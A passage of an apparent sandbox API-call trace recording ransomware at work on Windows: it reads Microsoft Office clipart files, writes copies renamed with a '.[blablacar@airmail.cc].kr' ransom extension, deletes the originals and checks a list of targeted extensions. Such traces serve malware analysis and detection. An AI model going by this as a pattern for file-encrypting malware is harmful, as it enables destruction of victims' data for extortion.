lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.014] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.014] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0106.015] GetLastError () returned 0x0 [0106.015] ReadFile (in: hFile=0x380, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x63c, lpOverlapped=0x0) returned 1 [0106.016] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x640, lpOverlapped=0x0) returned 1 [0106.017] ReadFile (in: hFile=0x380, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0106.017] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0106.017] SetEndOfFile (hFile=0x370) returned 1 [0106.017] CloseHandle (hObject=0x370) returned 1 [0106.018] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.018] SetEndOfFile (hFile=0x380) returned 1 [0106.019] CloseHandle (hObject=0x380) returned 1 [0106.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0106.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.020] lstrlenW (lpString=".doc") returned 4 [0106.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.020] lstrlenW (lpString=".docx") returned 5 [0106.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.020] lstrlenW (lpString=".pdf") returned 4 [0106.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.020] lstrlenW (lpString=".xls") returned 4 [0106.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.020] lstrlenW (lpString=".xlsx") returned 5 [0106.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.020] lstrlenW (lpString=".ppt") returned 4 [0106.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.021] lstrlenW (lpString=".zip") returned 4 [0106.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.021] lstrlenW (lpString=".rar") returned 4 [0106.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString=".bz2") returned 4 [0106.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString=".7z") returned 3 [0106.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.021] lstrlenW (lpString=".dbf") returned 4 [0106.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.021] lstrlenW (lpString=".1cd") returned 4 [0106.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.021] lstrlenW (lpString=".jpg") returned 4 [0106.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.021] lstrlenW (lpString=".doc") returned 4 [0106.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString=".docx") returned 5 [0106.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.021] lstrlenW (lpString=".pdf") returned 4 [0106.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.021] lstrlenW (lpString=".xls") returned 4 [0106.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.021] lstrlenW (lpString=".xlsx") returned 5 [0106.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.022] lstrlenW (lpString=".ppt") returned 4 [0106.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.022] lstrlenW (lpString=".zip") returned 4 [0106.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.022] lstrlenW (lpString=".rar") returned 4 [0106.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.022] lstrlenW (lpString=".bz2") returned 4 [0106.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.022] lstrlenW (lpString=".7z") returned 3 [0106.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.022] lstrlenW (lpString=".dbf") returned 4 [0106.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.022] lstrlenW (lpString=".1cd") returned 4 [0106.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0106.022] lstrlenW (lpString=".jpg") returned 4 [0106.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.022] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.022] lstrlenW (lpString="AN01060_.WMF") returned 12 [0106.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.023] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=7968) returned 1 [0106.023] CloseHandle (hObject=0x380) returned 1 [0106.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0106.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.023] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.023] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0106.024] GetLastError () returned 0x0 [0106.024] ReadFile (in: hFile=0x380, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1f20, lpOverlapped=0x0) returned 1 [0106.025] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1f30, lpOverlapped=0x0) returned 1 [0106.026] ReadFile (in: hFile=0x380, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0106.026] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0106.026] SetEndOfFile (hFile=0x370) returned 1 [0106.026] CloseHandle (hObject=0x370) returned 1 [0106.027] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.027] SetEndOfFile (hFile=0x380) returned 1 [0106.028] CloseHandle (hObject=0x380) returned 1 [0106.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.032] lstrlenW (lpString=".doc") returned 4 [0106.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString=".docx") returned 5 [0106.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.032] lstrlenW (lpString=".pdf") returned 4 [0106.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString=".xls") returned 4 [0106.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.032] lstrlenW (lpString=".xlsx") returned 5 [0106.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.032] lstrlenW (lpString=".ppt") returned 4 [0106.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.032] lstrlenW (lpString=".zip") returned 4 [0106.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.033] lstrlenW (lpString=".rar") returned 4 [0106.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString=".bz2") returned 4 [0106.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString=".7z") returned 3 [0106.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.033] lstrlenW (lpString=".dbf") returned 4 [0106.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.033] lstrlenW (lpString=".1cd") returned 4 [0106.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.033] lstrlenW (lpString=".jpg") returned 4 [0106.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.033] lstrlenW (lpString=".doc") returned 4 [0106.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString=".docx") returned 5 [0106.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.033] lstrlenW (lpString=".pdf") returned 4 [0106.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString=".xls") returned 4 [0106.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.033] lstrlenW (lpString=".xlsx") returned 5 [0106.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.033] lstrlenW (lpString=".ppt") returned 4 [0106.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.033] lstrlenW (lpString=".zip") returned 4 [0106.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.034] lstrlenW (lpString=".rar") returned 4 [0106.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.034] lstrlenW (lpString=".bz2") returned 4 [0106.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.034] lstrlenW (lpString=".7z") returned 3 [0106.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.034] lstrlenW (lpString=".dbf") returned 4 [0106.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.034] lstrlenW (lpString=".1cd") returned 4 [0106.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0106.034] lstrlenW (lpString=".jpg") returned 4 [0106.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.034] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.034] lstrlenW (lpString="AN01084_.WMF") returned 12 [0106.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.034] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1832) returned 1 [0106.035] CloseHandle (hObject=0x380) returned 1 [0106.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0106.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.035] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.035] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0106.035] GetLastError () returned 0x0 [0106.035] ReadFile (in: hFile=0x380, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x728, lpOverlapped=0x0) returned 1 [0106.037] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x730, lpOverlapped=0x0) returned 1 [0106.038] ReadFile (in: hFile=0x380, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0106.038] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0106.038] SetEndOfFile (hFile=0x370) returned 1 [0106.038] CloseHandle (hObject=0x370) returned 1 [0106.040] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.040] SetEndOfFile (hFile=0x380) returned 1 [0106.041] CloseHandle (hObject=0x380) returned 1 [0106.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0106.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.041] lstrlenW (lpString=".doc") returned 4 [0106.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.042] lstrlenW (lpString=".docx") returned 5 [0106.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.042] lstrlenW (lpString=".pdf") returned 4 [0106.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.042] lstrlenW (lpString=".xls") returned 4 [0106.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.042] lstrlenW (lpString=".xlsx") returned 5 [0106.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.042] lstrlenW (lpString=".ppt") returned 4 [0106.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.042] lstrlenW (lpString=".zip") returned 4 [0106.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.042] lstrlenW (lpString=".rar") returned 4 [0106.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.042] lstrlenW (lpString=".bz2") returned 4 [0106.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.042] lstrlenW (lpString=".7z") returned 3 [0106.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.042] lstrlenW (lpString=".dbf") returned 4 [0106.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.042] lstrlenW (lpString=".1cd") returned 4 [0106.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.042] lstrlenW (lpString=".jpg") returned 4 [0106.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.043] lstrlenW (lpString=".doc") returned 4 [0106.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString=".docx") returned 5 [0106.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.043] lstrlenW (lpString=".pdf") returned 4 [0106.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString=".xls") returned 4 [0106.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.043] lstrlenW (lpString=".xlsx") returned 5 [0106.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.043] lstrlenW (lpString=".ppt") returned 4 [0106.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.043] lstrlenW (lpString=".zip") returned 4 [0106.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.043] lstrlenW (lpString=".rar") returned 4 [0106.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString=".bz2") returned 4 [0106.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString=".7z") returned 3 [0106.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.043] lstrlenW (lpString=".dbf") returned 4 [0106.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.043] lstrlenW (lpString=".1cd") returned 4 [0106.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0106.043] lstrlenW (lpString=".jpg") returned 4 [0106.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.044] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.044] lstrlenW (lpString="AN01173_.WMF") returned 12 [0106.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.662] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=26332) returned 1 [0106.662] CloseHandle (hObject=0x36c) returned 1 [0106.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0106.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.663] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.663] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 